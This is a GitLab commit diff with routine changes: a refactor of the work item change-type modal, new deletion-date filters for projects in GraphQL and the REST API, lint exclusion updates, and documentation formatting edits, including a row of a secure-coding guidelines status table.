Add latest changes from gitlab-org/gitlab@master
This commit is contained in:
parent
6639836045
commit
36170967f8
|
|
@ -282,7 +282,6 @@ export default {
|
|||
'app/assets/javascripts/work_items/components/shared/work_item_token_input.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_assignees.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_attributes_wrapper.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_change_type_modal.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_crm_contacts.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_description.vue',
|
||||
'app/assets/javascripts/work_items/components/work_item_detail.vue',
|
||||
|
|
@ -493,7 +492,6 @@ export default {
|
|||
'ee/app/assets/javascripts/vulnerabilities/components/new_vulnerability/section_details.vue',
|
||||
'ee/app/assets/javascripts/vulnerabilities/components/vulnerability_details.vue',
|
||||
'ee/app/assets/javascripts/vulnerabilities/components/vulnerability_training.vue',
|
||||
'ee/app/assets/javascripts/work_items/components/work_item_change_type_modal.vue',
|
||||
'ee/app/assets/javascripts/work_items/components/work_item_custom_fields_multi_select.vue',
|
||||
'ee/app/assets/javascripts/work_items/components/work_item_custom_fields_single_select.vue',
|
||||
'ee/app/assets/javascripts/work_items/components/work_item_health_status.vue',
|
||||
|
|
|
|||
|
|
@ -462,7 +462,6 @@ RSpec/BeEq:
|
|||
- 'ee/spec/services/projects/protect_default_branch_service_spec.rb'
|
||||
- 'ee/spec/services/projects/update_service_spec.rb'
|
||||
- 'ee/spec/services/quick_actions/interpret_service_spec.rb'
|
||||
- 'ee/spec/services/search/project_service_spec.rb'
|
||||
- 'ee/spec/services/search/zoekt/indexing_task_service_spec.rb'
|
||||
- 'ee/spec/services/security/configuration/project_set_continuous_vulnerability_scanning_service_spec.rb'
|
||||
- 'ee/spec/services/security/orchestration/create_bot_service_spec.rb'
|
||||
|
|
|
|||
|
|
@ -150,7 +150,6 @@ RSpec/ReceiveMessages:
|
|||
- 'ee/spec/services/merge_requests/mergeability/check_jira_status_service_spec.rb'
|
||||
- 'ee/spec/services/merge_requests/mergeability/check_path_locks_service_spec.rb'
|
||||
- 'ee/spec/services/resource_access_tokens/create_service_spec.rb'
|
||||
- 'ee/spec/services/search/project_service_spec.rb'
|
||||
- 'ee/spec/services/security/orchestration/assign_service_spec.rb'
|
||||
- 'ee/spec/services/security/scan_result_policies/generate_policy_violation_comment_service_spec.rb'
|
||||
- 'ee/spec/services/security/training_providers/base_url_service_spec.rb'
|
||||
|
|
|
|||
|
|
@ -1 +1 @@
|
|||
4a334d4588a6146161a9e1fee35c14c2016eb17b
|
||||
95b8e6a28986f6b4aaaa20283212259b1938e948
|
||||
|
|
|
|||
|
|
@ -34,7 +34,7 @@ export default {
|
|||
<template>
|
||||
<div>
|
||||
<gl-form-checkbox v-model="pushEventsData">{{ __('Push events') }}</gl-form-checkbox>
|
||||
<input type="hidden" :value="pushEventsData" name="hook[push_events]" />
|
||||
<input v-model="pushEventsData" type="hidden" name="hook[push_events]" />
|
||||
|
||||
<div v-if="pushEventsData" class="gl-pl-6">
|
||||
<gl-form-radio-group v-model="branchFilterStrategyData" name="hook[branch_filter_strategy]">
|
||||
|
|
|
|||
|
|
@ -5,17 +5,15 @@ import * as Sentry from '~/sentry/sentry_browser_wrapper';
|
|||
import { __, s__, sprintf } from '~/locale';
|
||||
import { findDesignsWidget, getParentGroupName, isMilestoneWidget } from '~/work_items/utils';
|
||||
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
|
||||
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
|
||||
|
||||
import {
|
||||
WIDGET_TYPE_HIERARCHY,
|
||||
ALLOWED_CONVERSION_TYPES,
|
||||
WORK_ITEM_TYPE_ENUM_EPIC,
|
||||
WORK_ITEM_TYPE_NAME_EPIC,
|
||||
sprintfWorkItem,
|
||||
WORK_ITEM_WIDGETS_NAME_MAP,
|
||||
WIDGET_TYPE_DESIGNS,
|
||||
WIDGET_TYPE_HIERARCHY,
|
||||
WIDGET_TYPE_MILESTONE,
|
||||
WORK_ITEM_TYPE_NAME_EPIC,
|
||||
WORK_ITEM_TYPE_NAME_MAP,
|
||||
WORK_ITEM_WIDGETS_NAME_MAP,
|
||||
} from '../constants';
|
||||
|
||||
import namespaceWorkItemTypesQuery from '../graphql/namespace_work_item_types.query.graphql';
|
||||
|
|
@ -38,6 +36,8 @@ export default {
|
|||
type: String,
|
||||
required: true,
|
||||
},
|
||||
// Used in EE component
|
||||
// eslint-disable-next-line vue/no-unused-properties
|
||||
workItemIid: {
|
||||
type: String,
|
||||
required: false,
|
||||
|
|
@ -77,7 +77,7 @@ export default {
|
|||
required: false,
|
||||
default: '',
|
||||
},
|
||||
allowedWorkItemTypesEE: {
|
||||
allowedConversionTypesEE: {
|
||||
type: Array,
|
||||
required: false,
|
||||
default: () => [],
|
||||
|
|
@ -136,38 +136,37 @@ export default {
|
|||
},
|
||||
},
|
||||
computed: {
|
||||
supportedConversionTypes() {
|
||||
allowedConversionTypes() {
|
||||
return (
|
||||
this.workItemTypes
|
||||
?.find((type) => type.name === this.workItemType)
|
||||
?.supportedConversionTypes?.filter((item) => {
|
||||
.find((type) => type.name === this.workItemType)
|
||||
?.supportedConversionTypes.filter(({ name }) => {
|
||||
// API is returning Incident, Requirement, Test Case, and Ticket in addition to required work items
|
||||
// As these types are not migrated, they are filtered out on the frontend
|
||||
// They will be added to the list as they are migrated
|
||||
// Discussion: https://gitlab.com/gitlab-org/gitlab/-/issues/498656#note_2263177119
|
||||
return ALLOWED_CONVERSION_TYPES.includes(item.name);
|
||||
return ALLOWED_CONVERSION_TYPES.includes(name);
|
||||
})
|
||||
?.map((item) => ({
|
||||
text: item.name,
|
||||
value: item.id,
|
||||
})) || []
|
||||
.concat(this.allowedConversionTypesEE) ?? []
|
||||
);
|
||||
},
|
||||
allowedConversionWorkItemTypes() {
|
||||
selectOptions() {
|
||||
return [
|
||||
{
|
||||
text: __('Select type'),
|
||||
value: null,
|
||||
id: null,
|
||||
name: __('Select type'),
|
||||
},
|
||||
...this.supportedConversionTypes,
|
||||
...this.allowedWorkItemTypesEE,
|
||||
];
|
||||
...this.allowedConversionTypes,
|
||||
].map((item) => ({
|
||||
text: item.text || item.name,
|
||||
value: item.id,
|
||||
}));
|
||||
},
|
||||
workItemsAlphaEnabled() {
|
||||
return this.glFeatures.workItemsAlpha;
|
||||
},
|
||||
isSelectedWorkItemTypeEpic() {
|
||||
return this.selectedWorkItemType?.value === WORK_ITEM_TYPE_ENUM_EPIC;
|
||||
return this.selectedWorkItemType?.name === WORK_ITEM_TYPE_NAME_EPIC;
|
||||
},
|
||||
milestoneWidget() {
|
||||
return this.widgets.find(isMilestoneWidget)?.milestone;
|
||||
|
|
@ -175,7 +174,7 @@ export default {
|
|||
selectedWorkItemTypeWidgetDefinitions() {
|
||||
return this.isSelectedWorkItemTypeEpic
|
||||
? this.getEpicWidgetDefinitions({ workItemTypes: this.workItemTypes })
|
||||
: this.getWidgetDefinitions(this.selectedWorkItemType?.text);
|
||||
: this.getWidgetDefinitions(this.selectedWorkItemType?.name);
|
||||
},
|
||||
currentWorkItemTypeWidgetDefinitions() {
|
||||
return this.getWidgetDefinitions(this.workItemType);
|
||||
|
|
@ -275,10 +274,10 @@ export default {
|
|||
return this.parentWorkItem?.workItemType?.name;
|
||||
},
|
||||
workItemTypeId() {
|
||||
return this.workItemTypes.find((type) => type.name === this.selectedWorkItemType?.text).id;
|
||||
return this.workItemTypes.find((type) => type.name === this.selectedWorkItemType?.name).id;
|
||||
},
|
||||
selectedWorkItemTypeValue() {
|
||||
return this.selectedWorkItemType?.value || null;
|
||||
selectedWorkItemTypeId() {
|
||||
return this.selectedWorkItemType?.id || null;
|
||||
},
|
||||
actionPrimary() {
|
||||
return {
|
||||
|
|
@ -334,19 +333,17 @@ export default {
|
|||
}
|
||||
return this.workItemTypes.find((widget) => widget.name === type)?.widgetDefinitions;
|
||||
},
|
||||
updateWorkItemType(value) {
|
||||
updateWorkItemType(id) {
|
||||
this.typeFieldNote = '';
|
||||
|
||||
if (!value) {
|
||||
if (!id) {
|
||||
this.resetModal();
|
||||
return;
|
||||
}
|
||||
|
||||
this.selectedWorkItemType = this.allowedConversionWorkItemTypes.find(
|
||||
(item) => item.value === value,
|
||||
);
|
||||
this.selectedWorkItemType = this.allowedConversionTypes.find((item) => item.id === id);
|
||||
|
||||
if (value === WORK_ITEM_TYPE_ENUM_EPIC) {
|
||||
if (this.selectedWorkItemType.name === WORK_ITEM_TYPE_NAME_EPIC) {
|
||||
this.typeFieldNote = this.epicFieldNote;
|
||||
}
|
||||
this.validateWorkItemType();
|
||||
|
|
@ -361,9 +358,7 @@ export default {
|
|||
s__(
|
||||
'WorkItem|Parent item type %{parentWorkItemType} is not supported on %{workItemType}. Remove the parent item to change type.',
|
||||
),
|
||||
this.isSelectedWorkItemTypeEpic
|
||||
? WORK_ITEM_TYPE_NAME_EPIC
|
||||
: this.selectedWorkItemType.text,
|
||||
this.selectedWorkItemType.name,
|
||||
this.parentWorkItemType,
|
||||
);
|
||||
|
||||
|
|
@ -377,11 +372,7 @@ export default {
|
|||
'WorkItem|%{workItemType} does not support the %{childItemType} child item types. Remove child items to change type.',
|
||||
),
|
||||
{
|
||||
workItemType: capitalizeFirstCharacter(
|
||||
this.isSelectedWorkItemTypeEpic
|
||||
? WORK_ITEM_TYPE_NAME_EPIC.toLocaleLowerCase()
|
||||
: this.selectedWorkItemType.text.toLocaleLowerCase(),
|
||||
),
|
||||
workItemType: WORK_ITEM_TYPE_NAME_MAP[this.selectedWorkItemType.name],
|
||||
childItemType: this.allowedChildTypes?.[0]?.name?.toLocaleLowerCase(),
|
||||
},
|
||||
);
|
||||
|
|
@ -405,15 +396,15 @@ export default {
|
|||
s__(
|
||||
'WorkItem|Some fields are not present in %{workItemType}. If you change type now, this information will be lost.',
|
||||
),
|
||||
this.isSelectedWorkItemTypeEpic
|
||||
? WORK_ITEM_TYPE_NAME_EPIC
|
||||
: this.selectedWorkItemType.text,
|
||||
this.selectedWorkItemType.name,
|
||||
);
|
||||
}
|
||||
},
|
||||
throwError(message) {
|
||||
this.$emit('error', message);
|
||||
},
|
||||
// show() is invoked by parent component to show the modal
|
||||
// eslint-disable-next-line vue/no-unused-properties
|
||||
show() {
|
||||
this.resetModal();
|
||||
this.$refs.modal.show();
|
||||
|
|
@ -453,9 +444,9 @@ export default {
|
|||
id="work-item-type-select"
|
||||
class="gl-mb-2"
|
||||
data-testid="work-item-change-type-select"
|
||||
:value="selectedWorkItemTypeValue"
|
||||
:value="selectedWorkItemTypeId"
|
||||
width="md"
|
||||
:options="allowedConversionWorkItemTypes"
|
||||
:options="selectOptions"
|
||||
@change="updateWorkItemType"
|
||||
/>
|
||||
<p v-if="typeFieldNote" class="gl-text-subtle">{{ typeFieldNote }}</p>
|
||||
|
|
|
|||
|
|
@ -167,6 +167,7 @@ class Projects::CommitController < Projects::ApplicationController
|
|||
@diffs_slice = @commit.first_diffs_slice(streaming_offset, commit_diff_options)
|
||||
@diff_files_endpoint = diff_files_metadata_namespace_project_commit_path
|
||||
@diffs_stats_endpoint = diffs_stats_namespace_project_commit_path
|
||||
@update_current_user_path = expose_path(api_v4_user_preferences_path)
|
||||
|
||||
show
|
||||
end
|
||||
|
|
|
|||
|
|
@ -39,10 +39,18 @@ module Resolvers
|
|||
required: false,
|
||||
description: "Return only projects that are trending."
|
||||
|
||||
argument :aimed_for_deletion, GraphQL::Types::Boolean,
|
||||
required: false,
|
||||
description: 'Return only projects marked for deletion.'
|
||||
|
||||
argument :not_aimed_for_deletion, GraphQL::Types::Boolean,
|
||||
required: false,
|
||||
description: "Exclude projects that are marked for deletion."
|
||||
|
||||
argument :marked_for_deletion_on, ::Types::DateType,
|
||||
required: false,
|
||||
description: 'Date when the project was marked for deletion.'
|
||||
|
||||
before_connection_authorization do |projects, current_user|
|
||||
::Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, current_user).execute
|
||||
end
|
||||
|
|
@ -79,7 +87,9 @@ module Resolvers
|
|||
min_access_level: args[:min_access_level],
|
||||
language_name: args[:programming_language_name],
|
||||
trending: args[:trending],
|
||||
aimed_for_deletion: args[:aimed_for_deletion],
|
||||
not_aimed_for_deletion: args[:not_aimed_for_deletion],
|
||||
marked_for_deletion_on: args[:marked_for_deletion_on],
|
||||
current_organization: ::Current.organization
|
||||
}
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1148,6 +1148,7 @@ production: &base
|
|||
# label: 'Our SAML Provider',
|
||||
# groups_attribute: 'Groups',
|
||||
# external_groups: ['Contractors', 'Freelancers'],
|
||||
# duo_add_on_groups: ['Developers', 'Freelancers'],
|
||||
# args: {
|
||||
# assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback',
|
||||
# idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8',
|
||||
|
|
|
|||
|
|
@ -19,12 +19,9 @@
|
|||
body: | # (required) Don't change this line.
|
||||
GitLab believes in secure-by-default practices. To honor this, we are making some changes to support least privilege principles relating to the use of CI/CD variables.
|
||||
Today, users with the Developer role or higher are able to use [pipeline variables](https://docs.gitlab.com/ci/variables/#use-pipeline-variables) by default, without any verification or opt-in.
|
||||
In 18.0, GitLab is updating the [pipeline variable restrictions](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables) to default enabled.
|
||||
As a result of this change, the ability to use pipeline CI/CD variables will be restricted for all users by default.
|
||||
If necessary, you can manually update this setting with a minimum role that is allowed to use pipeline variables, though it's recommended to keep this as restricted as possible.
|
||||
|
||||
You can already start using a more secure-by-default experience for pipeline variables by raising the minimum role to the recommended [Owner only, or no one](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables).
|
||||
Starting in 17.7, this is the default for all new projects in new namespaces on GitLab.com.
|
||||
Starting in 17.7, `no one allowed` is the default for all new projects in new namespaces on GitLab.com.
|
||||
|
||||
# ==============================
|
||||
# OPTIONAL END-OF-SUPPORT FIELDS
|
||||
|
|
|
|||
|
|
@ -54,7 +54,7 @@ sequenceDiagram
|
|||
Background Job-->>Background Job: Complete
|
||||
```
|
||||
|
||||
### Configure Duo add-on seat management
|
||||
## Configure Duo add-on seat management
|
||||
|
||||
To turn on add-on seat management with LDAP:
|
||||
|
||||
|
|
@ -72,7 +72,3 @@ gitlab_rails['ldap_servers'] = {
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
See [LDAP troubleshooting](auth/ldap/ldap-troubleshooting.md).
|
||||
|
|
|
|||
|
|
@ -197,11 +197,9 @@ You can then view the database details for this request:
|
|||
|
||||

|
||||
|
||||
<!-- vale gitlab_base.Substitutions = NO -->
|
||||
1. Select the `pg` link in the Progress Bar to view the database queries executed by the API request:
|
||||
|
||||

|
||||
<!-- vale gitlab_base.Substitutions = YES -->
|
||||
|
||||
The database query dialog is displayed:
|
||||
|
||||
|
|
|
|||
|
|
@ -336,9 +336,10 @@ Returns [`BlobSearch`](#blobsearch).
|
|||
| Name | Type | Description |
|
||||
| ---- | ---- | ----------- |
|
||||
| <a id="queryblobsearchchunkcount"></a>`chunkCount` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Maximum chunks per file. |
|
||||
| <a id="queryblobsearchexcludeforks"></a>`excludeForks` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.11. **Status**: Experiment. Excludes forked projects in the search. Always false for project search. Not available for global search. |
|
||||
| <a id="queryblobsearchgroupid"></a>`groupId` {{< icon name="warning-solid" >}} | [`GroupID`](#groupid) | **Introduced** in GitLab 17.2. **Status**: Experiment. Group to search in. |
|
||||
| <a id="queryblobsearchincludearchived"></a>`includeArchived` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes archived projects in the search. Always true for project search. Default is false. |
|
||||
| <a id="queryblobsearchincludeforked"></a>`includeForked` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes forked projects in the search. Always true for project search. Not available for global search. Default is false. |
|
||||
| <a id="queryblobsearchincludeforked"></a>`includeForked` {{< icon name="warning-solid" >}} | [`Boolean`](#boolean) | **Introduced** in GitLab 17.7. **Status**: Experiment. Includes forked projects in the search. Always true for project search. Not available for global search. |
|
||||
| <a id="queryblobsearchpage"></a>`page` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Page number to fetch the results. |
|
||||
| <a id="queryblobsearchperpage"></a>`perPage` {{< icon name="warning-solid" >}} | [`Int`](#int) | **Introduced** in GitLab 17.2. **Status**: Experiment. Number of results per page. |
|
||||
| <a id="queryblobsearchprojectid"></a>`projectId` {{< icon name="warning-solid" >}} | [`ProjectID`](#projectid) | **Introduced** in GitLab 17.2. **Status**: Experiment. Project to search in. |
|
||||
|
|
|
|||
|
|
@ -31819,6 +31819,12 @@ paths:
|
|||
admins
|
||||
type: boolean
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: wiki_checksum_failed
|
||||
description: Limit by projects where wiki checksum is failed
|
||||
|
|
@ -31837,12 +31843,6 @@ paths:
|
|||
type: boolean
|
||||
default: false
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: page
|
||||
description: Current page number
|
||||
|
|
@ -32302,6 +32302,12 @@ paths:
|
|||
admins
|
||||
type: boolean
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: wiki_checksum_failed
|
||||
description: Limit by projects where wiki checksum is failed
|
||||
|
|
@ -32320,12 +32326,6 @@ paths:
|
|||
type: boolean
|
||||
default: false
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: page
|
||||
description: Current page number
|
||||
|
|
@ -39762,6 +39762,12 @@ paths:
|
|||
admins
|
||||
type: boolean
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: wiki_checksum_failed
|
||||
description: Limit by projects where wiki checksum is failed
|
||||
|
|
@ -39780,12 +39786,6 @@ paths:
|
|||
type: boolean
|
||||
default: false
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: page
|
||||
description: Current page number
|
||||
|
|
@ -40093,6 +40093,12 @@ paths:
|
|||
admins
|
||||
type: boolean
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: wiki_checksum_failed
|
||||
description: Limit by projects where wiki checksum is failed
|
||||
|
|
@ -40111,12 +40117,6 @@ paths:
|
|||
type: boolean
|
||||
default: false
|
||||
required: false
|
||||
- in: query
|
||||
name: marked_for_deletion_on
|
||||
description: Date when the project was marked for deletion
|
||||
type: string
|
||||
format: date
|
||||
required: false
|
||||
- in: query
|
||||
name: page
|
||||
description: Current page number
|
||||
|
|
|
|||
|
|
@ -85,7 +85,7 @@ where needed.
|
|||
To check all existing queries and mutations, on the right side of GraphiQL, select **Documentation explorer**.
|
||||
To check the execution of the queries and mutations you've written, in the upper-left corner, select **Execute query**.
|
||||
|
||||

|
||||

|
||||
|
||||
## Apollo Client
|
||||
|
||||
|
|
|
|||
|
|
@ -229,34 +229,30 @@ and included in `rules` definitions via [YAML anchors](../../ci/yaml/yaml_optimi
|
|||
|
||||
### `if:` conditions
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = NO -->
|
||||
|
||||
| `if:` conditions | Description | Notes |
|
||||
|------------------|-------------|-------|
|
||||
| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/` and `gitlab-cn/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success` or `when: manual`), or **not** create a job for forks (by using `when: never`). |
|
||||
| `if-not-ee` | Matches if the project isn't EE (that is, project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is EE (by using `when: never`). |
|
||||
| `if-not-foss` | Matches if the project isn't FOSS (that is, project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
|
||||
| `if-default-refs` | Matches if the pipeline is for `master`, `main`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
|
||||
| `if-master-refs` | Matches if the current branch is `master` or `main`. | |
|
||||
| `if-master-push` | Matches if the current branch is `master` or `main` and pipeline source is `push`. | |
|
||||
| `if-master-schedule-maintenance` | Matches if the current branch is `master` or `main` and pipeline runs on a 2-hourly schedule. | |
|
||||
| `if-master-schedule-nightly` | Matches if the current branch is `master` or `main` and pipeline runs on a nightly schedule. | |
|
||||
| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | |
|
||||
| `if-master-or-tag` | Matches if the pipeline is for the `master` or `main` branch or for a tag. | |
|
||||
| `if-merge-request` | Matches if the pipeline is for a merge request. | |
|
||||
| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-as-if-foss" | |
|
||||
| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:update-cache". | |
|
||||
| `if-merge-request-labels-run-all-rspec` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-all-rspec". | |
|
||||
| `if-merge-request-labels-run-cs-evaluation` | Matches if the pipeline is for a merge request and the MR has label ~"pipeline:run-CS-evaluation". | |
|
||||
| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | |
|
||||
| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | |
|
||||
| `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | |
|
||||
| `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` or `main` branch for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | |
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = YES -->
|
||||
| `if:` conditions | Description | Notes |
|
||||
|---------------------------------------------|-------------|-------|
|
||||
| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/` and `gitlab-cn/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success` or `when: manual`), or **not** create a job for forks (by using `when: never`). |
|
||||
| `if-not-ee` | Matches if the project isn't EE (that is, project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is EE (by using `when: never`). |
|
||||
| `if-not-foss` | Matches if the project isn't FOSS (that is, project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success` or `when: manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
|
||||
| `if-default-refs` | Matches if the pipeline is for `master`, `main`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
|
||||
| `if-master-refs` | Matches if the current branch is `master` or `main`. | |
|
||||
| `if-master-push` | Matches if the current branch is `master` or `main` and pipeline source is `push`. | |
|
||||
| `if-master-schedule-maintenance` | Matches if the current branch is `master` or `main` and pipeline runs on a 2-hourly schedule. | |
|
||||
| `if-master-schedule-nightly` | Matches if the current branch is `master` or `main` and pipeline runs on a nightly schedule. | |
|
||||
| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | |
|
||||
| `if-master-or-tag` | Matches if the pipeline is for the `master` or `main` branch or for a tag. | |
|
||||
| `if-merge-request` | Matches if the pipeline is for a merge request. | |
|
||||
| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-as-if-foss"`. | |
|
||||
| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:update-cache"`. | |
|
||||
| `if-merge-request-labels-run-all-rspec` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-all-rspec"`. | |
|
||||
| `if-merge-request-labels-run-cs-evaluation` | Matches if the pipeline is for a merge request and the MR has label `~"pipeline:run-CS-evaluation"`. | |
|
||||
| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | |
|
||||
| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | |
|
||||
| `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | |
|
||||
| `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` or `main` branch for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | |
|
||||
| `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | |
|
||||
|
||||
### `changes:` patterns
|
||||
|
||||
|
|
|
|||
|
|
@ -129,17 +129,12 @@ on GitLab.com
|
|||
|
||||
{{< /alert >}}
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = NO -->
|
||||
|
||||
On GitLab.com, entries from the [Redis slow log](https://redis.io/docs/latest/commands/slowlog/) are available in the
|
||||
`pubsub-redis-inf-gprd*` index with the [`redis.slowlog` tag](https://log.gprd.gitlab.net/app/kibana#/discover?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:now-1d,to:now))&_a=(columns:!(json.type,json.command,json.exec_time_s),filters:!(('$state':(store:appState),meta:(alias:!n,disabled:!f,index:AWSQX_Vf93rHTYrsexmk,key:json.tag,negate:!f,params:(query:redis.slowlog),type:phrase),query:(match:(json.tag:(query:redis.slowlog,type:phrase))))),index:AWSQX_Vf93rHTYrsexmk)).
|
||||
This shows commands that have taken a long time and may be a performance
|
||||
concern.
|
||||
|
||||
<!-- vale gitlab_base.Substitutions = YES -->
|
||||
|
||||
The
|
||||
[`fluent-plugin-redis-slowlog`](https://gitlab.com/gitlab-org/ruby/gems/fluent-plugin-redis-slowlog)
|
||||
The [`fluent-plugin-redis-slowlog`](https://gitlab.com/gitlab-org/ruby/gems/fluent-plugin-redis-slowlog)
|
||||
project is responsible for taking the `slowlog` entries from Redis and
|
||||
passing to Fluentd (and ultimately Elasticsearch).
|
||||
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ For each of the vulnerabilities listed in this document, AppSec aims to have a S
|
|||
| [JWT](#json-web-tokens-jwt) | Pending | ❌ |
|
||||
| [SSRF](#server-side-request-forgery-ssrf) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_insecure_url-1.yml), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_insecure_http.yml?ref_type=heads) | ✅ |
|
||||
| [XSS](#xss-guidelines) | [1](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xss_redirect.yml), [2](https://gitlab.com/gitlab-com/gl-security/product-security/appsec/sast-custom-rules/-/blob/main/secure-coding-guidelines/ruby/ruby_xss_html_safe.yml) | ✅ |
|
||||
| [XXE](#xml-external-entities) | Pending | ❌ |
|
||||
